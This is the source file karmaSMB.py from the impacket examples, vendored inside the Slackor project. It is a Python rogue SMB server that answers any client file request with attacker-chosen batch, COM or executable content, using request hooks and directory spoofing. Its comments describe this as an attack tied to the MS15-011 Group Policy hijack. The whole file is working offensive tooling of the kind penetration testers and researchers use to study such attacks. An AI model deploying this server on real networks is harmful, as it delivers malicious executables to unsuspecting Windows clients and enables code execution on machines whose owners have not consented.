github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/impacket/examples/karmaSMB.py (about) 1 #!/usr/bin/env python 2 # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 # 4 # This software is provided under under a slightly modified version 5 # of the Apache Software License. See the accompanying LICENSE file 6 # for more information. 7 # 8 # Karma SMB 9 # 10 # Author: 11 # Alberto Solino (@agsolino) 12 # Original idea by @mubix 13 # 14 # Description: 15 # The idea of this script is to answer any file read request 16 # with a set of predefined contents based on the extension 17 # asked, regardless of the sharename and/or path. 18 # When executing this script w/o a config file the pathname 19 # file contents will be sent for every request. 20 # If a config file is specified, format should be this way: 21 # <extension> = <pathname> 22 # for example: 23 # bat = /tmp/batchfile 24 # com = /tmp/comfile 25 # exe = /tmp/exefile 26 # 27 # The SMB2 support works with a caveat. If two different 28 # filenames at the same share are requested, the first 29 # one will work and the second one will not work if the request 30 # is performed right away. This seems related to the 31 # QUERY_DIRECTORY request, where we return the files available. 32 # In the first try, we return the file that was asked to open. 33 # In the second try, the client will NOT ask for another 34 # QUERY_DIRECTORY but will use the cached one. This time the new file 35 # is not there, so the client assumes it doesn't exist. 36 # After a few seconds, looks like the client cache is cleared and 37 # the operation works again. Further research is needed trying 38 # to avoid this from happening. 39 # 40 # SMB1 seems to be working fine on that scenario. 41 # 42 # ToDo: 43 # [ ] A lot of testing needed under different OSes. 44 # I'm still not sure how reliable this approach is. 45 # [ ] Add support for other SMB read commands. Right now just 46 # covering SMB_COM_NT_CREATE_ANDX 47 # [ ] Disable write request, now if the client tries to copy 48 # a file back to us, it will overwrite the files we're 49 # hosting. *CAREFUL!!!* 50 # 51 52 from __future__ import division 53 from __future__ import print_function 54 import sys 55 import os 56 import argparse 57 import logging 58 import ntpath 59 try: 60 import ConfigParser 61 except ImportError: 62 import configparser as ConfigParser 63 from threading import Thread 64 65 from impacket.examples import logger 66 from impacket import smbserver, smb, version 67 import impacket.smb3structs as smb2 68 from impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE 69 from impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \ 70 STATUS_OBJECT_PATH_NOT_FOUND 71 from impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \ 72 getFileTime, queryPathInformation 73 74 75 class KarmaSMBServer(Thread): 76 def __init__(self, smb2Support = False): 77 Thread.__init__(self) 78 self.server = 0 79 self.defaultFile = None 80 self.extensions = {} 81 82 # Here we write a mini config for the server 83 smbConfig = ConfigParser.ConfigParser() 84 smbConfig.add_section('global') 85 smbConfig.set('global','server_name','server_name') 86 smbConfig.set('global','server_os','UNIX') 87 smbConfig.set('global','server_domain','WORKGROUP') 88 smbConfig.set('global','log_file','smb.log') 89 smbConfig.set('global','credentials_file','') 90 91 # IPC always needed 92 smbConfig.add_section('IPC$') 93 smbConfig.set('IPC$','comment','Logon server share') 94 smbConfig.set('IPC$','read only','yes') 95 smbConfig.set('IPC$','share type','3') 96 smbConfig.set('IPC$','path','') 97 98 # NETLOGON always needed 99 smbConfig.add_section('NETLOGON') 100 smbConfig.set('NETLOGON','comment','Logon server share') 101 smbConfig.set('NETLOGON','read only','no') 102 smbConfig.set('NETLOGON','share type','0') 103 smbConfig.set('NETLOGON','path','') 104 105 # SYSVOL always needed 106 smbConfig.add_section('SYSVOL') 107 smbConfig.set('SYSVOL','comment','') 108 smbConfig.set('SYSVOL','read only','no') 109 smbConfig.set('SYSVOL','share type','0') 110 smbConfig.set('SYSVOL','path','') 111 112 if smb2Support: 113 smbConfig.set("global", "SMB2Support", "True") 114 115 self.server = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) 116 self.server.processConfigFile() 117 118 # Unregistering some dangerous and unwanted commands 119 self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY) 120 self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY) 121 self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME) 122 self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE) 123 self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE) 124 self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX) 125 126 self.server.unregisterSmb2Command(smb2.SMB2_WRITE) 127 128 self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX) 129 self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX) 130 self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation) 131 self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2) 132 133 # And the same for SMB2 134 self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect) 135 self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create) 136 self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory) 137 self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read) 138 self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close) 139 140 # Now we have to register the MS-SRVS server. This specially important for 141 # Windows 7+ and Mavericks clients since they WON'T (specially OSX) 142 # ask for shares using MS-RAP. 143 144 self.__srvsServer = SRVSServer() 145 self.__srvsServer.daemon = True 146 self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort())) 147 148 def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount): 149 connData = smbServer.getConnectionData(connId) 150 151 respSetup = b'' 152 respParameters = b'' 153 respData = b'' 154 findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters) 155 156 # 1. Let's grab the extension and map the file's contents we will deliver 157 origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/')) 158 origFileName = os.path.basename(origPathName) 159 160 _, origPathNameExtension = os.path.splitext(origPathName) 161 origPathNameExtension = origPathNameExtension.upper()[1:] 162 163 if origPathNameExtension.upper() in self.extensions: 164 targetFile = self.extensions[origPathNameExtension.upper()] 165 else: 166 targetFile = self.defaultFile 167 168 if recvPacket['Tid'] in connData['ConnectedShares']: 169 path = connData['ConnectedShares'][recvPacket['Tid']]['path'] 170 171 # 2. We call the normal findFirst2 call, but with our targetFile 172 searchResult, searchCount, errorCode = findFirst2(path, 173 targetFile, 174 findFirst2Parameters['InformationLevel'], 175 findFirst2Parameters['SearchAttributes'], pktFlags = recvPacket['Flags2'] ) 176 177 respParameters = smb.SMBFindFirst2Response_Parameters() 178 endOfSearch = 1 179 sid = 0x80 # default SID 180 searchCount = 0 181 totalData = 0 182 for i in enumerate(searchResult): 183 #i[1].dump() 184 try: 185 # 3. And we restore the original filename requested ;) 186 i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName) 187 except: 188 pass 189 190 data = i[1].getData() 191 lenData = len(data) 192 if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']: 193 # We gotta stop here and continue on a find_next2 194 endOfSearch = 0 195 # Simple way to generate a fid 196 if len(connData['SIDs']) == 0: 197 sid = 1 198 else: 199 sid = list(connData['SIDs'].keys())[-1] + 1 200 # Store the remaining search results in the ConnData SID 201 connData['SIDs'][sid] = searchResult[i[0]:] 202 respParameters['LastNameOffset'] = totalData 203 break 204 else: 205 searchCount +=1 206 respData += data 207 totalData += lenData 208 209 210 respParameters['SID'] = sid 211 respParameters['EndOfSearch'] = endOfSearch 212 respParameters['SearchCount'] = searchCount 213 else: 214 errorCode = STATUS_SMB_BAD_TID 215 216 smbServer.setConnectionData(connId, connData) 217 218 return respSetup, respParameters, respData, errorCode 219 220 def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket): 221 connData = smbServer.getConnectionData(connId) 222 223 ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters']) 224 ntCreateAndXData = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data']) 225 226 respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) 227 228 #ntCreateAndXParameters.dump() 229 230 # Let's try to avoid allowing write requests from the client back to us 231 # not 100% bulletproof, plus also the client might be using other SMB 232 # calls (e.g. SMB_COM_WRITE) 233 createOptions = ntCreateAndXParameters['CreateOptions'] 234 if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE: 235 errorCode = STATUS_ACCESS_DENIED 236 elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE: 237 errorCode = STATUS_ACCESS_DENIED 238 elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF: 239 errorCode = STATUS_ACCESS_DENIED 240 elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA: 241 errorCode = STATUS_ACCESS_DENIED 242 elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA: 243 errorCode = STATUS_ACCESS_DENIED 244 elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE: 245 errorCode = STATUS_ACCESS_DENIED 246 elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000: 247 errorCode = STATUS_ACCESS_DENIED 248 else: 249 errorCode = STATUS_SUCCESS 250 251 if errorCode == STATUS_ACCESS_DENIED: 252 return [respSMBCommand], None, errorCode 253 254 # 1. Let's grab the extension and map the file's contents we will deliver 255 origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/')) 256 257 _, origPathNameExtension = os.path.splitext(origPathName) 258 origPathNameExtension = origPathNameExtension.upper()[1:] 259 260 if origPathNameExtension.upper() in self.extensions: 261 targetFile = self.extensions[origPathNameExtension.upper()] 262 else: 263 targetFile = self.defaultFile 264 265 # 2. We change the filename in the request for our targetFile 266 ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile) 267 SMBCommand['Data'] = ntCreateAndXData.getData() 268 smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) 269 270 # 3. We call the original call with our modified data 271 return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket) 272 273 def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0): 274 # The trick we play here is that Windows clients first ask for the file 275 # and then it asks for the directory containing the file. 276 # It is important to answer the right questions for the attack to work 277 278 connData = smbServer.getConnectionData(connId) 279 280 respSetup = b'' 281 respParameters = b'' 282 respData = b'' 283 errorCode = 0 284 285 queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters) 286 287 if recvPacket['Tid'] in connData['ConnectedShares']: 288 path = '' 289 try: 290 origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName']) 291 origPathName = os.path.normpath(origPathName.replace('\\','/')) 292 293 if ('MS15011' in connData) is False: 294 connData['MS15011'] = {} 295 296 smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO) 297 if origPathName in connData['MS15011'] or origPathName == '.': 298 # We already processed this entry, now it's asking for a directory 299 infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel']) 300 else: 301 # First time asked, asking for the file 302 infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel']) 303 connData['MS15011'][os.path.dirname(origPathName)] = infoRecord 304 except Exception as e: 305 #import traceback 306 #traceback.print_exc() 307 smbServer.log("queryPathInformation: %s" % e,logging.ERROR) 308 309 if infoRecord is not None: 310 respParameters = smb.SMBQueryPathInformationResponse_Parameters() 311 respData = infoRecord 312 else: 313 errorCode = STATUS_SMB_BAD_TID 314 315 smbServer.setConnectionData(connId, connData) 316 317 return respSetup, respParameters, respData, errorCode 318 319 def smb2Read(self, connId, smbServer, recvPacket): 320 connData = smbServer.getConnectionData(connId) 321 connData['MS15011']['StopConnection'] = True 322 smbServer.setConnectionData(connId, connData) 323 return self.origsmb2Read(connId, smbServer, recvPacket) 324 325 def smb2Close(self, connId, smbServer, recvPacket): 326 connData = smbServer.getConnectionData(connId) 327 # We're closing the connection trying to flush the client's 328 # cache. 329 if connData['MS15011']['StopConnection'] is True: 330 return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED 331 return self.origsmb2Close(connId, smbServer, recvPacket) 332 333 def smb2Create(self, connId, smbServer, recvPacket): 334 connData = smbServer.getConnectionData(connId) 335 336 ntCreateRequest = smb2.SMB2Create(recvPacket['Data']) 337 338 # Let's try to avoid allowing write requests from the client back to us 339 # not 100% bulletproof, plus also the client might be using other SMB 340 # calls 341 createOptions = ntCreateRequest['CreateOptions'] 342 if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE: 343 errorCode = STATUS_ACCESS_DENIED 344 elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE: 345 errorCode = STATUS_ACCESS_DENIED 346 elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF: 347 errorCode = STATUS_ACCESS_DENIED 348 elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA: 349 errorCode = STATUS_ACCESS_DENIED 350 elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA: 351 errorCode = STATUS_ACCESS_DENIED 352 elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE: 353 errorCode = STATUS_ACCESS_DENIED 354 elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000: 355 errorCode = STATUS_ACCESS_DENIED 356 else: 357 errorCode = STATUS_SUCCESS 358 359 if errorCode == STATUS_ACCESS_DENIED: 360 return [smb2.SMB2Error()], None, errorCode 361 362 # 1. Let's grab the extension and map the file's contents we will deliver 363 origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/')) 364 365 _, origPathNameExtension = os.path.splitext(origPathName) 366 origPathNameExtension = origPathNameExtension.upper()[1:] 367 368 # Are we being asked for a directory? 369 if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0: 370 if origPathNameExtension.upper() in self.extensions: 371 targetFile = self.extensions[origPathNameExtension.upper()] 372 else: 373 targetFile = self.defaultFile 374 connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile) 375 smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) 376 else: 377 targetFile = '/' 378 379 # 2. We change the filename in the request for our targetFile 380 try: 381 ntCreateRequest['Buffer'] = targetFile.encode('utf-16le') 382 except UnicodeDecodeError: 383 import sys 384 ntCreateRequest['Buffer'] = targetFile.decode(sys.getfilesystemencoding()).encode('utf-16le') 385 ntCreateRequest['NameLength'] = len(targetFile)*2 386 recvPacket['Data'] = ntCreateRequest.getData() 387 388 # 3. We call the original call with our modified data 389 return self.origsmb2Create(connId, smbServer, recvPacket) 390 391 def smb2QueryDirectory(self, connId, smbServer, recvPacket): 392 # Windows clients with SMB2 will also perform a QueryDirectory 393 # expecting to get the filename asked. So we deliver it :) 394 connData = smbServer.getConnectionData(connId) 395 396 respSMBCommand = smb2.SMB2QueryDirectory_Response() 397 #queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data']) 398 399 errorCode = 0xff 400 respSMBCommand['Buffer'] = b'\x00' 401 402 errorCode = STATUS_SUCCESS 403 404 #if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0: 405 # return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED 406 407 if connData['MS15011']['FindDone'] is True: 408 409 connData['MS15011']['FindDone'] = False 410 smbServer.setConnectionData(connId, connData) 411 return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES 412 else: 413 origName, targetFile = connData['MS15011']['FileData'] 414 (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile) 415 416 infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE ) 417 infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE 418 419 infoRecord['EaSize'] = 0 420 infoRecord['EndOfFile'] = size 421 infoRecord['AllocationSize'] = size 422 infoRecord['CreationTime'] = getFileTime(ctime) 423 infoRecord['LastAccessTime'] = getFileTime(atime) 424 infoRecord['LastWriteTime'] = getFileTime(mtime) 425 infoRecord['LastChangeTime'] = getFileTime(mtime) 426 infoRecord['ShortName'] = b'\x00'*24 427 #infoRecord['FileName'] = os.path.basename(origName).encode('utf-16le') 428 infoRecord['FileName'] = origName.encode('utf-16le') 429 padLen = (8-(len(infoRecord) % 8)) % 8 430 infoRecord['NextEntryOffset'] = 0 431 432 respSMBCommand['OutputBufferOffset'] = 0x48 433 respSMBCommand['OutputBufferLength'] = len(infoRecord.getData()) 434 respSMBCommand['Buffer'] = infoRecord.getData() + b'\xaa'*padLen 435 connData['MS15011']['FindDone'] = True 436 437 smbServer.setConnectionData(connId, connData) 438 return [respSMBCommand], None, errorCode 439 440 def smb2TreeConnect(self, connId, smbServer, recvPacket): 441 connData = smbServer.getConnectionData(connId) 442 443 respPacket = smb2.SMB2Packet() 444 respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR 445 respPacket['Status'] = STATUS_SUCCESS 446 respPacket['CreditRequestResponse'] = 1 447 respPacket['Command'] = recvPacket['Command'] 448 respPacket['SessionID'] = connData['Uid'] 449 respPacket['Reserved'] = recvPacket['Reserved'] 450 respPacket['MessageID'] = recvPacket['MessageID'] 451 respPacket['TreeID'] = recvPacket['TreeID'] 452 453 respSMBCommand = smb2.SMB2TreeConnect_Response() 454 455 treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data']) 456 457 errorCode = STATUS_SUCCESS 458 459 ## Process here the request, does the share exist? 460 path = recvPacket.getData()[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']] 461 UNCOrShare = path.decode('utf-16le') 462 463 # Is this a UNC? 464 if ntpath.ismount(UNCOrShare): 465 path = UNCOrShare.split('\\')[3] 466 else: 467 path = ntpath.basename(UNCOrShare) 468 469 # We won't search for the share.. all of them exist :P 470 #share = searchShare(connId, path.upper(), smbServer) 471 connData['MS15011'] = {} 472 connData['MS15011']['FindDone'] = False 473 connData['MS15011']['StopConnection'] = False 474 share = {} 475 if share is not None: 476 # Simple way to generate a Tid 477 if len(connData['ConnectedShares']) == 0: 478 tid = 1 479 else: 480 tid = list(connData['ConnectedShares'].keys())[-1] + 1 481 connData['ConnectedShares'][tid] = share 482 connData['ConnectedShares'][tid]['path'] = '/' 483 connData['ConnectedShares'][tid]['shareName'] = path 484 respPacket['TreeID'] = tid 485 #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) 486 else: 487 smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR) 488 errorCode = STATUS_OBJECT_PATH_NOT_FOUND 489 respPacket['Status'] = errorCode 490 ## 491 492 if path == 'IPC$': 493 respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE 494 respSMBCommand['ShareFlags'] = 0x30 495 else: 496 respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK 497 respSMBCommand['ShareFlags'] = 0x0 498 499 respSMBCommand['Capabilities'] = 0 500 respSMBCommand['MaximalAccess'] = 0x011f01ff 501 502 respPacket['Data'] = respSMBCommand 503 504 smbServer.setConnectionData(connId, connData) 505 506 return None, [respPacket], errorCode 507 508 def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): 509 connData = smbServer.getConnectionData(connId) 510 511 resp = smb.NewSMBPacket() 512 resp['Flags1'] = smb.SMB.FLAGS1_REPLY 513 resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \ 514 recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE 515 516 resp['Tid'] = recvPacket['Tid'] 517 resp['Mid'] = recvPacket['Mid'] 518 resp['Pid'] = connData['Pid'] 519 520 respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) 521 respParameters = smb.SMBTreeConnectAndXResponse_Parameters() 522 respData = smb.SMBTreeConnectAndXResponse_Data() 523 524 treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters']) 525 526 if treeConnectAndXParameters['Flags'] & 0x8: 527 respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters() 528 529 treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] ) 530 treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength'] 531 treeConnectAndXData.fromString(SMBCommand['Data']) 532 533 errorCode = STATUS_SUCCESS 534 535 UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) 536 537 # Is this a UNC? 538 if ntpath.ismount(UNCOrShare): 539 path = UNCOrShare.split('\\')[3] 540 else: 541 path = ntpath.basename(UNCOrShare) 542 543 # We won't search for the share.. all of them exist :P 544 smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO) 545 #share = searchShare(connId, path, smbServer) 546 share = {} 547 # Simple way to generate a Tid 548 if len(connData['ConnectedShares']) == 0: 549 tid = 1 550 else: 551 tid = list(connData['ConnectedShares'].keys())[-1] + 1 552 connData['ConnectedShares'][tid] = share 553 connData['ConnectedShares'][tid]['path'] = '/' 554 connData['ConnectedShares'][tid]['shareName'] = path 555 resp['Tid'] = tid 556 #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) 557 558 respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS 559 560 if path == 'IPC$': 561 respData['Service'] = 'IPC' 562 else: 563 respData['Service'] = path 564 respData['PadLen'] = 0 565 respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' ).decode() 566 567 respSMBCommand['Parameters'] = respParameters 568 respSMBCommand['Data'] = respData 569 570 resp['Uid'] = connData['Uid'] 571 resp.addCommand(respSMBCommand) 572 smbServer.setConnectionData(connId, connData) 573 574 return None, [resp], errorCode 575 576 def _start(self): 577 self.server.serve_forever() 578 579 def run(self): 580 logging.info("Setting up SMB Server") 581 self._start() 582 583 def setDefaultFile(self, filename): 584 self.defaultFile = filename 585 586 def setExtensionsConfig(self, filename): 587 for line in filename.readlines(): 588 line = line.strip('\r\n ') 589 if line.startswith('#') is not True and len(line) > 0: 590 extension, pathName = line.split('=') 591 self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip()) 592 593 # Process command-line arguments. 594 if __name__ == '__main__': 595 # Init the example's logger theme 596 logger.init() 597 print(version.BANNER) 598 parser = argparse.ArgumentParser(add_help = False, description = "For every file request received, this module will " 599 "return the pathname contents") 600 parser.add_argument("--help", action="help", help='show this help message and exit') 601 parser.add_argument('fileName', action='store', metavar = 'pathname', help="Pathname's contents to deliver to SMB " 602 "clients") 603 parser.add_argument('-config', type=argparse.FileType('r'), metavar = 'pathname', help='config file name to map ' 604 'extensions to files to deliver. For those extensions not present, pathname will be delivered') 605 parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)') 606 607 608 if len(sys.argv)==1: 609 parser.print_help() 610 sys.exit(1) 611 612 try: 613 options = parser.parse_args() 614 except Exception as e: 615 logging.critical(str(e)) 616 sys.exit(1) 617 618 s = KarmaSMBServer(options.smb2support) 619 s.setDefaultFile(os.path.normpath(options.fileName)) 620 if options.config is not None: 621 s.setExtensionsConfig(options.config) 622 623 s.start() 624 625 logging.info("Servers started, waiting for connections") 626 while True: 627 try: 628 sys.stdin.read() 629 except KeyboardInterrupt: 630 sys.exit(1) 631 else: 632 pass